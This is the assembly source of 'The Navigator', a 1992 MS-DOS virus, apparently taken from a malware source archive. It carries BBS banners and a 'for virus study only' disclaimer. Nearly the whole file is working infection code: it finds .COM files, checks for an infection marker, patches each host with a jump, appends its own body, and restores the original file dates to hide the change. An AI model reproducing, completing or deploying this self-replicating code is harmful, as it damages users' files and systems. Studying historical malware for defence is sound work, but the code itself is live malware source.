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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.nav.asm

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2021-01-12 23:52:14 +00:00
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;****************************************************************************
;* The Navigator *
;* *
;* Assembled with Tasm 2.5 *
;* *
;* (c) 1992 Dark Helmet, The Netherlands *
;* The author takes no responsibilty for any damages caused by the virus *
;* *
;* Special greetings to : *
;* Glenn Benton, XSTC for their nice source and viruses, *
;* Peter Venkman for his BBS, Marcel and Ziggy for keeping me of the *
;* work, Guns and Roses for their great music, *
;* and al the other viruswriters... *
;* *
;* " Trust me...I know what I'm doing" *
;* *
;*--------------------------------------------------------------------------*
;* *
;* Coming soon : The Anti-DAF Virus *
;* Civil War II *
;* *
;*--------------------------------------------------------------------------*
;* *
;* Used Books : - MSDOS voor gevorderen (tweede editie) *
;* Ray Duncan, ISBN 90 201 2299 1 (660 blz.) *
;* - PC Handboek voor programmeurs *
;* Robert Jourdain, ISBN 90 6233 443 1 (542 blz.) *
;* - Werken met Turbo Assembler *
;* Tom Swam, ISBN 90 6233 627 2 (903 blz.) *
;* *
;****************************************************************************
.Radix 16
Navigator Segment
Assume cs:Navigator, ds:Navigator,
org 100h
len equ offset last - begin
Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h
Begin: call virus
Virus: pop bp
sub bp,109h
mov dx,0fe00h
mov ah,1ah
int 21h
Restore_begin: mov di,0100h
lea si,ds:[buffer+bp]
mov cx,06h
rep movsb
First: lea dx,[com_mask+bp]
mov ah,04eh
xor cx,cx
int 21h
Open_file: mov ax,03d02h
mov dx,0fe1eh
int 21h
mov [handle+bp],ax
xchg ax,bx
Read_date: mov ax,05700h
int 21h
mov [date+bp],dx
mov [time+bp],cx
Check_infect: mov bx,[handle+bp]
mov ah,03fh
mov cx,06h
lea dx,[buffer+bp]
int 21h
mov al,byte ptr [buffer+bp]+3
mov ah,byte ptr [buffer+bp]+4
cmp ax,[initials+bp]
jne infect_file
Close_file: mov bx,[handle+bp]
mov ah,3eh
int 21h
Next_file: mov ah,4fh
int 21h
jnb open_file
jmp exit
Infect_file: mov ax,word ptr [cs:0fe1ah]
sub ax,03h
mov [lenght+bp],ax
mov ax,04200h
call move_pointer
Write_jump: mov ah,40h
mov cx,01h
lea dx,[jump+bp]
int 21h
mov ah,40h
mov cx,02h
lea dx,[lenght+bp]
int 21h
mov ah,40
mov cx,02h
lea dx,[initials+bp]
int 21h
Write_virus: mov ax,4202h
call move_pointer
mov ah,40h
mov cx,len
lea dx,[begin+bp]
int 21h
restore_date: mov dx,[date+bp]
mov cx,[time+bp]
mov bx,[handle+bp]
mov ax,05701h
int 21h
exit: mov bx,0100h
jmp bx
;----------------------------------------------------------------------------
move_pointer: mov bx,[handle+bp]
xor cx,cx
xor dx,dx
int 21h
ret
;----------------------------------------------------------------------------
com_mask db "*.com",0
handle dw ?
date dw ?
time dw ?
buffer db 090h,0cdh,020h,044h,048h,00h
initials dw 4844h
lenght dw ?
jump db 0e9h,0
msg db "The Navigator, (c) 1992 Dark Helmet",0
last db 090h
Navigator ends
end dummy
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
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